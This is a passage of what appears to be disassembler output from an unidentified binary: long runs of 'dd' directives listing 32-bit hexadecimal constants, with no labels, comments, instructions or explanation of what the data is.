		dd 0E43C6BBCh, 539F9B97h, 0E7D05F94h, 5B00B50Ah, 8D2A4F53h
		dd 30565A1Fh, 27B0A0C8h, 3F008B6Eh, 0C7D85150h,	81827Bh
		dd 0E15AEA44h, 38B66CA2h, 172E7902h, 4039361Ah,	147C0EE2h
		dd 0CC45214Eh, 82487D00h, 23E60CCAh, 134A6900h,	1807C9D2h
		dd 160D00F5h, 5930AFC4h, 50904771h, 0A0007E75h,	666436CAh
		dd 1FE39BEh, 0F26E72D8h, 31D9184Dh, 0D3988700h,	6B474E84h
		dd 0F614B860h, 0CDC4007Fh, 8C2789BDh, 69789529h, 0A34AF301h
		dd 9E6B9BBAh, 4ECCA71h,	81BD001Ah, 7CFD7D0Fh, 0E00E8FFh
		dd 0B870E58Dh, 77E3B69Bh, 538500D4h, 8E45A8C4h,	160064BDh
		dd 0AEA37B50h, 3F42D52Ah, 0B8057BBh, 0A57DD648h, 0EF00A44Dh
		dd 21F954D3h, 0E613B7h,	855A82DDh, 2974B55h, 0FD893F14h
		dd 0C45201CEh, 0F68DE5BFh, 0F665A5C0h, 1A545877h, 0F15D9900h
		dd 0A0E62DA4h, 0C16E7407h, 0B9D0A8F3h, 0F60138Ch, 6C2CDFB4h
		dd 0A4FC7C07h, 1BB0B044h, 83F71400h, 0E8044079h, 0DC8005ECh
		dd 0C0C3D002h, 6F0FCC82h, 0C66A4C00h, 0CB382A5h, 0D54B066Eh
		dd 115418CAh, 0CE73F901h, 0A5E81A6h, 69ED30h, 0CB791D4Fh
		dd 362AE803h, 0BCD71C0h, 14EB47Dh, 1681F14Dh, 307B4389h
		dd 3178EF5Ch, 92EA7C3Fh, 98C76FB3h, 20BAE7C7h, 1CD4A900h
		dd 0E844CB78h, 4E62007Ch, 79280F14h, 5600E132h,	33A8E84Dh
		dd 7D5D2069h, 701803D8h, 94216ACBh, 487843BBh, 0DF1C4C00h
		dd 787C4D36h, 2CFA6Fh, 0F1A965B1h, 3D201689h, 0A8604Dh
		dd 0B64D3EE8h, 5023C8B3h, 0FAE00C07h, 51FD06ADh, 8C08516h
		dd 21828314h, 0B9EB0F58h, 0D891005Bh, 0B0D740h,	0F23281C6h
		dd 0FF604649h, 1EC8AD07h, 0BA30DAFCh, 166EE64h,	77C2ECA6h
		dd 0E8862453h, 0E5008456h, 7615087Ch, 2774D4h, 16B5926Ch
		dd 67F4A831h, 49BE4500h, 13E08636h, 600B72D5h, 47A5A86Eh
		dd 9B9001CCh, 1A538101h, 63F8128Bh, 5A58D4h, 35A07ED5h
		dd 0FCA752A6h, 4FB20401h, 0AC63A122h, 0BD0DE0h,	48EFD3D0h
		dd 609884B9h, 5935F38h,	0DA5A9A82h, 0AEC420C0h,	0FD5D0044h
		dd 4F771C3Eh, 0D43D5242h, 724D75E4h, 0AC48319Ch, 11D8AB75h
		dd 0D86E005Fh, 0DFB1E950h, 9E00C496h, 7165FBBDh, 70F6A54h
		dd 39F4A69Bh, 4678163h,	0C1FC21DAh, 6899D93Eh, 0AF7701E0h
		dd 0FEACCD25h, 229030h,	0C2BF3EB6h, 0E2134B41h,	0E0ED6900h
		dd 2D6EB586h, 3E8400B2h, 539A94EFh, 220087FEh, 19978F4h
		dd 1EE58C36h, 0C04050CAh, 7F68F304h, 0BA00B0F5h, 2C57CF0Fh
		dd 0A956FE63h, 0D43227F0h, 40ADC916h, 41CD92F4h, 0E001905h
		dd 89CC229Dh, 3D93783h,	632D5006h, 411D3398h, 5A404229h
		dd 5C1D73ADh, 1B770584h, 907691E9h, 8AF4AF8h, 0C0472307h
		dd 2121C6A2h, 14306604h, 0B36B5828h, 9729E900h,	2BD0F45Bh
		dd 24003A5Ah, 1FF1A8B0h, 0B4CC0063h, 0AB9FC3ACh, 5FF46EC4h
		dd 25C2A4A0h, 0A0705413h, 0B1D0B040h, 0EF4537h,	0E57AFD46h
		dd 68846950h, 6DF24300h, 29E196A0h, 0D65B1C63h,	0D59CC58Ch
		dd 3C41EBAh, 47786527h,	0C2E21100h, 54E93D89h, 4E8A06FAh
		dd 7814765Eh, 9CA65B00h, 0C673C95h, 0D9300327h,	0F5D583E5h
		dd 80FEF980h, 2F71F214h, 4A4703A8h, 80B46131h, 0EE3504h
		dd 91663ED9h, 45B2626Fh, 5A21F500h, 5D7D7F39h, 49130B6Dh
		dd 0C5038FDDh, 0EA8B7F9h, 0B20F52D4h, 0EB632F98h, 585C24C2h
		dd 547E80C0h, 0E4270037h, 0B57DB323h, 311E2443h, 0E07E1A56h
		dd 0A56C66D8h, 0C90E0051h, 0CDC2D8D6h, 0E60C8395h, 7836AC8Ch
		dd 359C002Ch, 8534C444h, 0F6A147F6h, 0F72FD44Dh, 6A03C0B8h
		dd 5CE870B4h, 3756D178h, 556E30h, 0EE59572Ch, 0C606AAB6h
		dd 4BF3309Ah, 0B3BE00CCh, 725AC589h, 0E8A31435h, 0FE00B8BDh
		dd 96B66B5Eh, 9EB0E662h, 7701E472h, 49913590h, 3121C6BFh
		dd 71AF43D8h, 6CE13959h, 0C522D407h, 21EA40E6h,	757004F5h
		dd 8F858A2Dh, 0C7D301FCh, 5C2808C3h, 0EC682903h, 0AA9037C8h
		dd 232CB696h, 9D00160Ch, 561C9BA6h, 3FA8EEF8h, 978437EFh
		dd 819C76E9h, 1033689Ch, 1954239h, 0DC7B7166h, 0FCD2B1A5h
		dd 8C01D5C7h, 0AE8E12E3h, 282CED1Ah, 7E641B00h,	0A6FE8393h
		dd 501CFD5Eh, 0E2C0A45Ch, 73CFB06Fh, 684E2E23h,	755100C0h
		dd 6D5E37A9h, 0AC1E0EE2h, 0E640A0A7h, 9D3DD374h, 0ACB0089h
		dd 3F3E8370h, 6B003516h, 42F30982h, 0C093BEh, 0D4E422BCh
		dd 6130955Dh, 0F04DF700h, 19B640D5h, 53EC0002h,	0D3FECFA0h
		dd 1EECE121h, 0FCB2900h, 0CD7614D9h, 0EC105D50h, 0A0692076h
		dd 0D109E77Eh, 0E27BCC8h, 578BA330h, 0CFD00098h, 2A12BB82h
		dd 0FFFD3681h, 0D250F1D0h, 8022453Dh, 7DE9C959h, 0E3702Dh
		dd 527ECCA3h, 0D6C8CFBBh, 1D0E33E8h, 604303F6h,	0F3054E3Eh
		dd 7706006Eh, 50662EDCh, 80131F8h, 731F28A6h, 1B214789h
		dd 3F9D2880h, 31B10F59h, 2DFD4303h, 0C030127Bh,	0FB5133h
		dd 398B7813h, 93E08321h
		dd 48FC3D00h, 7F64C94Fh, 7A8D000Ah, 0C47E406Dh,	0E9168975h
		dd 7300B69Dh, 76508156h, 603F0EC1h, 19E0920Eh, 75BF252Ah
		dd 96ECE401h, 7E4CA7ABh, 45EF864h, 0ED41AD65h, 0BAC48845h
		dd 0B5FE8207h, 90F06455h, 1EB79FDEh, 1CA09DAh, 0BDBE7457h
		dd 0F3A4406Ch, 4C00A8F2h, 409F535Fh, 0E76554h, 4D70454Bh
		dd 3DD958Ah, 2B7F6714h,	0A40C16D4h, 0C9D0F420h,	29060032h
		dd 8D966328h, 2100D680h, 815EDFE6h, 3362327h, 991A477Ah
		dd 1FA13D65h, 5085D9B9h, 5C6D5090h, 0ACC0A528h,	89F81DA0h
		dd 3FBD8D07h, 0C08F48A4h, 51979ACDh, 0FB840B46h, 3C071AE8h
		dd 85EDC2C4h, 0DB07D680h, 940022F5h, 6F1D69A7h,	0FD7BFAh
		dd 71CA7408h, 6E078F4Fh, 22429D00h, 0C50CCB40h,	9640052h
		dd 0DF106FB1h, 0F91255D7h, 0B0086F1h, 5AF04EEEh, 43770063h
		dd 58BB37AEh, 61244D89h, 4E008F1Fh, 0BA9A1EF9h,	9368008Ch
		dd 5CD5CE3Ch, 2F02C21Ch, 24277566h, 405C54CFh, 1263F9FCh
		dd 0C3433C00h, 4727E214h, 4E7ECBFh, 0D264DDADh,	93C080AFh
		dd 3C00D0A6h, 0B616032Fh, 0B6F0DEAEh, 0C55F80ACh, 0E7B8CBACh
		dd 0D4E52300h, 2CF14C05h, 3B1FA73h, 0D9999A89h,	0C5844812h
		dd 7A24A46Ah, 1C6AD124h, 9EE08880h, 589F44h, 0EB667D93h
		dd 0AE9537DFh, 0AC8959h, 58E23ED6h, 0C00F72ACh,	96AB9411h
		dd 98000471h, 732630EDh, 4184CA0h, 0FC7DCAB1h, 6A109061h
		dd 0E40F82B2h, 0A1263615h, 93897E81h, 0EF2000FBh, 0EA771661h
		dd 564AB33Fh, 18476022h, 34801BDCh, 556F011Ch, 288BE1F5h
		dd 57B03A76h, 77150098h, 8164B266h, 24A16CB3h, 28F070E9h
		dd 0E3C178C0h, 24EE86Eh, 0C9B3AD4Dh, 4C520623h,	0EFE9EA3Dh
		dd 75260670h, 0C9E0FA8h, 3D233280h, 47D8EB60h, 7009122h
		dd 4BD10EC6h, 1E8CC9E5h, 431E7EA6h, 27958036h, 0F54A2E4h
		dd 0C00185F6h, 52C7B88Eh, 1B5D3ED5h, 0FF48980h,	0BC62DA22h
		dd 0EB3F7D00h, 52B1B878h, 711A0094h, 0FB050435h, 4F000155h
		dd 0BE5EDFEh, 4A11A3h, 0C587E04Eh, 66DE90Ch, 9B4D1703h
		dd 887BD2BAh, 72016937h, 80B75022h, 273C0579h, 40140843h
		dd 5C37958Ch, 570001EEh, 3CD19F71h, 17736862h, 0FAC88AAh
		dd 0F7293079h, 34CCE380h, 150ABF82h, 0F1FC5131h, 83C0BE00h
		dd 78938F5h, 6D709DD7h,	6A520193h, 0B070292Bh, 0B2D6A9CEh
		dd 18E90E48h, 35A07308h, 2966638Ch, 0E80BAC71h,	221E106Eh
		dd 0C04C3AA0h, 1392A424h, 8286748Eh, 6C405C94h,	5200B07Eh
		dd 0EF9707Dh, 3BB67AEh,	0FCA76FC6h, 70B7B737h, 20DA78A0h
		dd 49BD3200h, 0DDBB6209h, 0FCA21610h, 0BA00EF1Dh, 9283AB45h
		dd 5DDC3EE6h, 8C6200Fh,	4885D9C0h, 0AB0BB1D7h, 808873C3h
		dd 68D58219h, 0BBA9267Fh, 0BCE403E4h, 8A902E86h, 7CE4B1C2h
		dd 0D21033Eh, 165FAC80h, 0B008A460h, 78330BC3h,	8CC0536Dh
		dd 151844FEh, 97F1BB65h, 4EF52632h, 0C6D83E4h, 0E08B2062h
		dd 17A5D9B8h, 7F4BE80Eh, 3B3A61ADh, 0AEF86B29h,	0E71D0061h
		dd 92D89351h, 9B00260Eh, 7FCE36ABh, 28E2910Ch, 2BC5AA1h
		dd 4FF45FB1h, 0A0E01001h, 0D48830DEh, 0ADCC1824h, 0C40B285Eh
		dd 7969F51Ch, 1EC7D0C0h, 3BDE3FD1h, 0CC0EF8DBh,	0A7647E19h
		dd 53ECF034h, 9060100Ah, 0E782F0D0h, 0FA07116Ah, 0AE438E0h
		dd 630D007Bh, 7C3BBDD4h, 952C2215h, 270020A1h, 0E675EFBFh
		dd 0F0490AD1h, 80F89C6Eh, 0A9379F50h, 8D05C4FFh, 0F95F903Ch
		dd 0BEDE9000h, 0F7C965h, 27E5FA28h, 0B0371218h,	0FE5E8600h
		dd 8FDE7C24h, 0D11013BBh, 9D84C03Ah, 8600DFB4h,	1ABAF8FFh
		dd 41445h, 0C7D4EE77h, 0F736A718h, 3D4C5C00h, 8802A80Dh
		dd 82E001ADh, 70D7C4E6h, 4068645Eh, 53B7B303h, 0F034F6B9h
		dd 1F760D92h, 732D99Dh,	0B447A5F8h, 867A8043h, 6F00D14Dh
		dd 0AABF9D5Eh, 0B74CC05h, 0B382199Ch, 42E278A0h, 7001659Eh
		dd 0BB95DE7Eh, 5F305547h, 6C5E0045h, 4F5007F8h,	8800829Ch
		dd 0EAEEF034h, 1367A2Ch, 0C2F804B8h, 30C05BA1h,	1E0102DFh
		dd 70698D58h, 0E6CC7186h, 29753B80h, 56A04B8Eh,	48FD440h
		dd 14019A8Ah, 1022F46h,	0FAE411C5h, 4C8E0ECFh, 7B65ED4Bh
		dd 0F8A8E017h, 1B03807h, 1544A477h, 0DC8F73C0h,	1A4000F7h
		dd 3766981Ch, 0C2387FD7h, 0C06C28CFh, 62C83B03h, 0DA79BEh
		dd 0C78D2310h, 0F5FEBC61h, 0E412D9ECh, 0F0C0641Dh, 6E935Bh
		dd 0FF7998C8h, 12B2258Ch, 2685B914h, 77DB00FCh,	590AC569h
		dd 0F86B13FDh, 0B5E040A2h, 8435AF43h, 0F4EC46FAh, 11AB0125h
		dd 0E7D4F370h, 36524D2h, 0F47D835Ch, 17D0A609h,	0FC067F3Fh
		dd 5C1C958Fh, 0B527221h, 5686D9E4h, 2CB390A0h, 0F603518Fh
		dd 88271245h, 0EB3CEBBEh, 499BB896h, 0DB6600C1h, 351E3FAAh
		dd 0C00FA9Ch, 0A262E801h, 32A21h, 0BE8E84D5h, 68EC2538h
		dd 1BBC0B50h, 80F68B39h, 94C38F6Fh, 36617h, 91CE0EFFh
		dd 0D95425FCh, 14986300h, 9C99CDDCh, 43EEABh, 8F2B78EFh
		dd 0D23E4B3Dh, 0D98ADB00h, 75B41AF2h, 33870A0Eh, 92941D39h
		dd 0DCE4C843h, 86E8600h, 9C7D394Bh, 78CB583Ch, 1FF68803h
		dd 0B1B8442Bh, 2C1C8DEFh, 31C315F1h, 0A0976068h, 2E7E3F9Ah
		dd 2E48B751h, 0A392009Ch, 2086AF93h, 0DB7C88BAh, 58608E88h
		dd 0D000A4F0h, 890CBFC1h, 8F035B88h, 8453338Bh,	75A003A3h
		dd 993883EDh, 1478B792h, 87823605h, 0CC435629h,	0D91B2688h
		dd 387D60FEh, 1E2F054h,	525F38EAh, 82B2D5A2h, 39458D41h
		dd 1D6C35Dh, 0C2103329h, 70FBFC73h, 0D5052466h,	71D80BF7h
		dd 0A8F32CE1h, 25E2B410h, 80C07583h, 4E03D33Dh,	0C663361Ah
		dd 2E06E913h, 95487D6h,	8D448159h, 0A8403144h, 98E7FA25h
		dd 0CAB40165h, 708FF305h, 34212FB2h, 8C3D45BAh,	980C1A14h
		dd 29062A00h, 0B95FC0Fh, 0EF80D403h, 0E0507415h, 0A03246ACh
		dd 0BDC76ACh, 5B1EB591h, 0B0008463h, 1391FABh, 1C69EE7Ch
		dd 637D23h, 4D387BADh, 0CE0094DAh, 9A60566Fh, 3B0DC644h
		dd 0A88023AAh, 694EA70Ah, 382FC255h, 7745476h, 406B6DDEh
		dd 4B99FBDh, 5195FA00h,	0EE3E8632h, 0A6FB003Ah,	38D86310h
		dd 55096794h, 40577645h, 71753D98h, 0A3DCA83Bh,	38A60051h
		dd 828B6612h, 0F67914A4h, 361CF000h, 7CD3B092h,	74EFA4Ch
		dd 6B3E3C30h, 0E02C9080h, 41002B63h, 420515A4h,	1C94CB35h
		dd 0C14D021Fh, 9302C75h, 0B044E64Bh, 0B5477D0Bh, 5CA50540h
		dd 85F5280h, 4D930480h,	801E98A1h, 847A7E64h, 0CAA6DF00h
		dd 0BA9D35D2h, 3E6305A9h, 90C3D0h, 4AFD1D86h, 45002C34h
		dd 73A7131Eh, 31621DCh,	462D9596h, 5650A9BFh, 2E5CFF1Ch
		dd 0E7BB1E90h, 0A4007C52h, 0E1B167DCh, 16AA0187h, 0EC3CDD20h
		dd 57A17EE5h, 0E0FE1180h, 232D7D9Ah, 0C83DE201h, 588284E9h
		dd 0E8D99061h, 58715429h, 0DB01FACFh, 4B06591Bh, 0CAC6C79h
		dd 885D7A4Fh, 4D4E01B2h, 23EDB119h, 12CC29C2h, 7888E5EAh
		dd 0DF2881D5h, 0D4E962A3h, 0A850DE8Bh, 71CD40h,	0DF1C3CC5h
		dd 49E7ACF6h, 0CCAED094h, 0AB8CBB01h, 0E86D5035h, 6C20C5CDh
		dd 63B3A16Ch, 0FD18D429h, 0C3CAB869h, 35983400h, 0FF4FE10Ch
		dd 40C9007Ch, 53F41A95h, 1800E547h, 4D5E224Ah, 0F4C3E6Ch
		dd 443597EAh, 6700ADCEh, 0A096AABCh, 76533F00h,	93173079h
		dd 0C34B0045h, 2D05A911h, 11F9861h, 9943CA1Bh, 0A8A164F3h
		dd 0BA434E0h, 827AFB9Fh
		dd 0FCDAF784h, 0ACE400BDh, 35748103h, 0AE74FDh,	0FC895461h
		dd 75851552h, 1600A477h, 1979CC44h, 0C791DDh, 0F3C8C1ADh
		dd 0E93CD6EFh, 77B423Ch, 901AB150h, 756C3440h, 268D0FD9h
		dd 80AEE182h, 0C9F039C0h, 1C3A7732h, 0E6070B24h, 1F3300D2h
		dd 5C0F9Fh, 1B5A2BF0h, 615F0A19h, 0D688B000h, 990B8B20h
		dd 0ADA600B3h, 0FA901423h, 0C3015537h, 8DAEEFAFh, 0CBC835F8h
		dd 0BCEC03A6h, 0BDA1EE83h, 0E71047D8h, 0FB70C000h, 0F296F392h
		dd 91B700DEh, 1D609CCEh, 7D1E0195h, 0F3003F04h,	66A1378h
		dd 436C07BEh, 80CA4D21h, 0E8EA8941h, 1DBA5D2Ch,	18139E01h
		dd 642097C8h, 50551C04h, 0C1CC1C33h, 65F94799h,	0CA8FCF4h
		dd 0EB86C500h, 0BFE61001h, 0FFFD028Dh, 0F8192D20h, 7F94D60h
		dd 8F4F5A3Ch, 0C0B90E3Ch, 8C2BD8B6h, 0C9E3007Ch, 0A604428Bh
		dd 84175A78h, 0E8075324h, 4440BAB8h, 0E19F6Fh, 0E0CE9297h
		dd 0AABDD6C1h, 0F995FB00h, 54A70DE5h, 658E0FEDh, 6A00B3D2h
		dd 9E2A3BDAh, 633F600h,	72479D13h, 427C2Eh, 2139B70Eh
		dd 0CDC4CBF5h, 82E91E01h, 3277869h, 991BC88Eh, 48548BE0h
		dd 0B6006C7Ah, 0DD682C79h, 1431D913h, 0D4B532B2h, 45734909h
		dd 0CC2A9080h, 40C3816Ah, 0B9D08E43h, 63FC7C21h, 0D1A90131h
		dd 0A5D77442h, 32B5C0A1h, 0B056AD3Fh, 716E48BEh, 81C60108h
		dd 481FA19Eh, 0C29AEC3Eh, 0BA65DE00h, 170CBEE3h, 44210055h
		dd 0FC90D3B9h, 373AB41h, 0DD562700h, 1267B66Eh,	0E1260939h
		dd 6300963Eh, 846EF59h,	74C8760Ch, 18A06Fh, 0EC2CA7AEh
		dd 614B3413h, 3B3A6801h, 0CD9AE10Bh, 980EF0C7h,	6EA200A5h
		dd 0A3480A1Eh, 7C736125h, 72645Ch, 32E680F3h, 73A76279h
		dd 0FCFC6Bh, 0AD306D78h, 0B4CCFF37h, 4CB7210Eh,	89480D6h
		dd 4F325B9h, 956673D0h,	54A5800Ch, 1600045Ch, 7703FADAh
		dd 1DC6523h, 0B22F5930h, 40A33F83h, 574702B4h, 825CF4EEh
		dd 0CBE907AAh, 0F83CD5C6h, 0BB7000B9h, 76868381h, 0E8C0803Ch
		dd 4AD73FE8h, 8A0A0014h, 7E483A5Dh, 520046BCh, 17C4D370h
		dd 0FACA616h, 0A25EE3F9h, 872ACD03h, 0C15B5198h, 1D3F120Eh
		dd 9FF22024h, 0F04F5CC4h, 60A8608Bh, 3EB8C9B9h,	971C8703h
		dd 0C0BCE87Fh, 0A1498CB1h, 0B04302ECh, 36DAF089h, 0A8830EC4h
		dd 0FCA0F260h, 0C58B2E93h, 4D786700h, 8A2F9CCDh, 0A66000C2h
		dd 75A15C15h, 95003C69h, 9C64EB20h, 12345449h, 40DCC619h
		dd 0B0DF6534h, 0CF008531h, 0D0015EFFh, 27DFC54h, 533AD9D1h
		dd 0A480082Eh, 0F192ACE7h, 11078477h, 89E470BFh, 2DA0F4B7h
		dd 92C72956h, 0E0DE4868h, 339A200h, 4796B392h, 242B6006h
		dd 3B7946D6h, 459885EEh, 0E5E37002h, 0EF255003h, 0E06590CAh
		dd 3752FEh, 685FFCC3h, 0F1BA40F2h, 74893500h, 399C4E6Ah
		dd 0A4D30025h, 316F43F5h, 0C100B4FEh, 9245ADDCh, 1FE0B8DDh
		dd 4049594Ch, 0C05FD66Ah, 0FF2DC85h, 0B8054774h, 0A18FD4ADh
		dd 88809684h, 0F9DA2Eh,	0B4C98C39h, 0FA85C6F6h,	0CF216B0Eh
		dd 17BC27A0h, 0CD8CB2C0h, 7D64149Eh, 0ED01835Eh, 4BD68A3Eh
		dd 8BAAE09Dh, 4331DE01h, 12366547h, 0C09F9320h,	19486330h
		dd 0E890D423h, 9E133Eh,	0FA8FBCF5h, 78C3A84Eh, 0D3F2128Ch
		dd 650000AFh, 0CA35FFBBh, 0B3FE9F00h, 1D325985h, 19940F50h
		dd 34A0D407h, 467A7F7h,	883D8900h, 1F8012B6h, 750D00FBh
		dd 0BB8E874Ah, 0BC00C490h, 9AE47C2Dh, 187EA76Bh, 98500E4Eh
		dd 3D90B8E1h, 86E7F200h, 988424F4h, 14EFA5Ah, 0EEC982DFh
		dd 30FCB1EAh, 0BB2EE998h, 0AA046BCFh, 40D061C8h, 0FD054C4h
		dd 58869E18h, 95C69022h, 0FBB3F0A0h, 7A07694Ah,	0D76F7F33h
		dd 0BC91A5E4h, 95F0A0FEh, 0B4B7001Dh, 9932D007h, 8B4C2686h
		dd 76ED3E31h, 54D1AB00h, 0B6BD291Ch, 88C000A9h,	32E537D7h
		dd 0B8039036h, 0BEE838C7h, 4ADBE140h, 0C75174F8h, 0D71FAF20h
		dd 4A0591Ah, 0FA9AB6B5h, 40A748h, 0D4CC54BFh, 0A8A293h
		dd 8772F9E0h, 0F513810Dh, 0EAA1D20Eh, 9ACF83D0h, 80E682CBh
		dd 7593C5A0h, 90D92CCEh, 7B6300D6h, 570B0FBDh, 9803E773h
		dd 381CAAE0h, 640CB0E1h, 26E214F7h, 1B00B875h, 4EFD0453h
		dd 8E00253Ah, 0ACA1CECFh, 42E04Bh, 0AB70668Bh, 509D3428h
		dd 0F2AEF503h, 80A718D7h, 0B6D30Dh, 3A1FC98h, 155D1EC9h
		dd 44FA2973h, 0ECAFD103h, 9102A7C3h, 0ACEFF5C7h, 0A614F0C0h
		dd 3FCB0267h, 9FA1E37Dh, 0D6517CA0h, 682672EEh,	70000466h
		dd 6039867Eh, 6C7800A7h, 0DA718221h, 0D000AA3Dh, 430D31B9h
		dd 0F38E359h, 827EC719h, 0F92D220h, 0E2F2CEF5h,	9CA3BD00h
		dd 0C6D3090Eh, 4ED000D9h, 0E13B388Dh, 30E5C4FEh, 110060C4h
		dd 4A1601C8h, 0FCD9401Ah, 0AEA000CDh, 0F724879Bh, 53007EA2h
		dd 0A51E7BD0h, 0F4A7B941h, 0B3E513C0h, 0EFB00F7Fh, 316B19C2h
		dd 0D63D0DE0h, 5998E803h, 0D86128A3h, 0C0B1315h, 0BD6CE743h
		dd 5D24382Ch, 82805C0Eh, 415A21CCh, 118D00BBh, 56470AB9h
		dd 80001F32h, 3A53C7AFh, 1D8860h, 52C5DA7Ah, 18321341h
		dd 11C67530h, 39128561h, 5903D174h, 244FEF33h, 5E8DDD90h
		dd 3C398000h, 0C56D75B8h, 0B22A0059h, 34F05425h, 4B0E5D22h
		dd 14D773Ah, 0FDB6FA2Dh, 5BF98E0h, 66BBDBFEh, 929C00B0h
		dd 775E868Ah, 8E006490h, 8DDC52B2h, 63F32659h, 61BCD13Ch
		dd 71133020h, 3F5EE82Bh, 0E9007304h, 22AFDE90h,	0E83B51B2h
		dd 0B5368068h, 0B0D94392h, 48041F65h, 0B32D019Bh, 8A297F4Ah
		dd 30F82540h, 26B05A86h, 4FB30090h, 0DADF1510h,	6F2C3F52h
		dd 24985CB8h, 7C2B8020h, 0C6D5025h, 0B2053D2Ch,	0EA5DA880h
		dd 174C530Dh, 0CA3A403h, 9F833562h, 0F7247202h,	870EA9C0h
		dd 0FC5EC000h, 0AC9A9830h, 31500FAh, 911902D0h,	88004C90h
		dd 43FFCA7Fh, 1FE40BEBh, 40324126h, 3AD4D53Dh, 330F8CE8h
		dd 2D7D27h, 1DE623C3h, 889812h,	47922C31h, 7CBE6F8Fh, 0E93A0631h
		dd 0D6E8B469h, 52C2068Dh, 8F2C6B9h, 7B211260h, 976FECh
		dd 5437E1FFh, 8955FAA3h, 2F7D3503h, 99710F99h, 30806E25h
		dd 0AC87A026h, 20C43914h, 18120B5Dh, 0CB982148h, 73DEAB40h
		dd 6983E933h, 0B11E2B8Eh, 4AB8BCEBh, 0B0D3AFC1h, 0EC62F20Eh
		dd 0C8B4835h, 0B30EED49h, 0A700CD51h, 732B9179h, 632EB292h
		dd 4722087Bh, 5F782007h, 51F06579h, 941E0Fh, 0FECC5311h
		dd 0AFE633C3h, 2AA370C1h, 9048A5C8h, 0B07A8C80h, 0E28DDA10h
		dd 6FE887E0h, 0DE1BF600h, 393D8A50h, 437800D0h,	8D18293Fh
		dd 852DE66Ah, 60ADD849h, 724C867h, 1000A061h, 0CCE79DFFh
		dd 725A183Fh, 3C22EEB7h, 3500A8E6h, 0B96D1AE0h,	0B7B0B299h
		dd 57DD9F1Eh, 0F66ABC0h, 88C3F7h, 0B677FCB3h, 0E3F2D2BEh
		dd 72FAE407h, 0EC60FBD6h, 14F9DCh, 663A95DAh, 509CD9A2h
		dd 551DC67Dh, 9BCF9A5Ch, 0F3C460F8h, 814912h, 0B933FACh
		dd 774B10FFh, 8636C60Eh, 4E9A002Eh, 59C255h, 9D6D4128h
		dd 789889F1h, 3444A300h, 0A67BF294h, 2A010CF0h,	8234198Fh
		dd 28BF2000h, 0D353CB80h, 0B19C005Ch, 6C5ED722h, 0FC013458h
		dd 0E3EF7129h, 9AF9E0A4h, 0C84EE0EFh, 7DF2005Ah, 4F0C800Dh
		dd 0D800EEBCh, 11E4A903h, 0E64B2Ch, 0B39B6C65h,	14BC2D1Dh
		dd 8F7E9800h, 0C27FF3BEh, 0D81200B5h, 6C389A3Ah, 0CB008C47h
		dd 0C8E9B26Ah, 2773EE5h, 1026B189h, 0AC00D49h, 0BB002825h
		dd 0E62A6EF1h
		dd 74DC0A3h, 528DF75Dh,	7C195032h, 440E4192h, 0E0C2E4B2h
		dd 0DD158450h, 0F55E00CBh, 62E81BFh, 0B6004369h, 894A49EFh
		dd 507B3Ch, 1E46DD7Ch, 40E692B0h, 6E0C9E98h, 48C188DEh
		dd 2A290787h, 0E3F29998h, 49C06D12h, 64391BE2h,	0F000F9E0h
		dd 8E37BDCh, 3D021AB5h,	3F80189Bh, 50B76AF3h, 830159B6h
		dd 0FFBA6181h, 5880C31Eh, 7EE66F3Dh, 0D00ECEDh,	0CDC2F798h
		dd 2139C6h, 2EE7BAA8h, 0D1A5626Ch, 9FDABE00h, 6E2D3608h
		dd 1FCB0C85h, 0EE301939h, 0D368AE00h, 4791EBB2h, 4DE5011Bh
		dd 0FA776C67h, 2CC1700Ch, 3072DF00h, 9F341F59h,	11EA0020h
		dd 6E7FA592h, 74009DCAh, 3BAE90DDh, 650B8Ch, 0B1EED8FEh
		dd 8527CF50h, 0C28BDC00h, 0C8D6E53h, 6D8800AEh,	0B44889FAh
		dd 280C5FACh, 38FE23D5h, 0D9570045h, 0B2304B79h, 0C30C5A82h
		dd 4892A047h, 0CE3E1240h, 9D580002h, 67D01C45h,	51C7FD03h
		dd 9823CDBCh, 16C85h, 0A5E40E7Bh, 888D87DBh, 60A10730h
		dd 0E5117F2h, 7F91BCF4h, 9EF7520h, 0F000721Fh, 0A8BBD4B0h
		dd 0F767B4Eh, 4BBC0560h, 52D52540h, 3F14B3D0h, 0B41CBEh
		dd 0C26B2A19h, 0FEFB33B4h, 1B090086h, 8B5B4982h, 0B0C08D34h
		dd 5E59EC1Ch, 84EB0037h, 0D8ABB02Dh, 9C03D5F4h,	52C3FB5Ah
		dd 809800FFh, 0A0C92C72h, 780082BCh, 0C0A3275h,	594E7F5h
		dd 0ED26D9Ch, 675C067Eh, 0EC00A620h, 44CBB5EBh,	2FB1B8h
		dd 3054BF80h, 79C1271h,	53A2B00h, 98168657h, 0CC553770h
		dd 0BCA730C0h, 0E6122CE1h, 0FE07A12Eh, 0E9D08EE5h, 0E072A62Fh
		dd 54660E96h, 18409915h, 0BD94CC23h, 0B2814707h, 8960DD36h
		dd 1B9F6B3h, 5BF5F4A6h,	806331E2h, 0C11A0D0h, 240777F0h
		dd 9E34C9A4h, 8AB143B7h, 0F9006C23h, 6092EAB3h,	7F3E4Eh
		dd 483822ADh, 0BCFC0919h, 1F009B7Bh, 0DBB2B156h, 0F3B6DEh
		dd 92059815h, 0B352FFF9h, 792E1C00h, 59DC866Eh,	8B1724A7h
		dd 0AC6A4070h, 0B9540E54h, 0D0E02DECh, 8C90A2E2h, 0C80FB373h
		dd 0E0B19EE2h, 0F63A1768h, 438024F9h, 905100D0h, 2D74655Dh
		dd 2200CC7Eh, 0BAFF61A7h, 1D9224DBh, 0C0961F14h, 5ED055A0h
		dd 9E00F706h, 0D3B92660h, 9D3EABh, 0B7BC4AD1h, 6A8D7E3h
		dd 0C0701500h, 59E119CEh, 6D4405E8h, 800E754Ch,	0B185EC8Dh
		dd 50305500h, 23C7A001h, 28C3008Ch, 0E5822F09h,	9A0A31F7h
		dd 0E4CB4D47h, 95BF803Bh, 70A92DDEh, 58DC000Fh,	0A773A34Bh
		dd 212E1E0h, 0FA005C26h, 6C601C8h, 0E950C0Ch, 4EA44BACh
		dd 0FA7C000h, 0D471E3B3h, 382A0121h, 97E1D9C9h,	8B3EECBCh
		dd 435927h, 2F272008h, 0F1290078h, 6CB0B9F5h, 400321Fh
		dd 0EFEB2E9h, 0A03860CBh, 0DA46C0h, 0F1A59F25h,	80689828h
		dd 6C862204h, 9080937Bh, 24BB2A0Fh, 82F055ABh, 5BC0CBFCh
		dd 0E0E25C68h, 1EA8960Ch, 713189h, 0FBEE97EBh, 0F01BCC34h
		dd 0EAD44C0Fh, 11F1AC17h, 8EEE0030h, 5B7407C4h,	19C0D259h
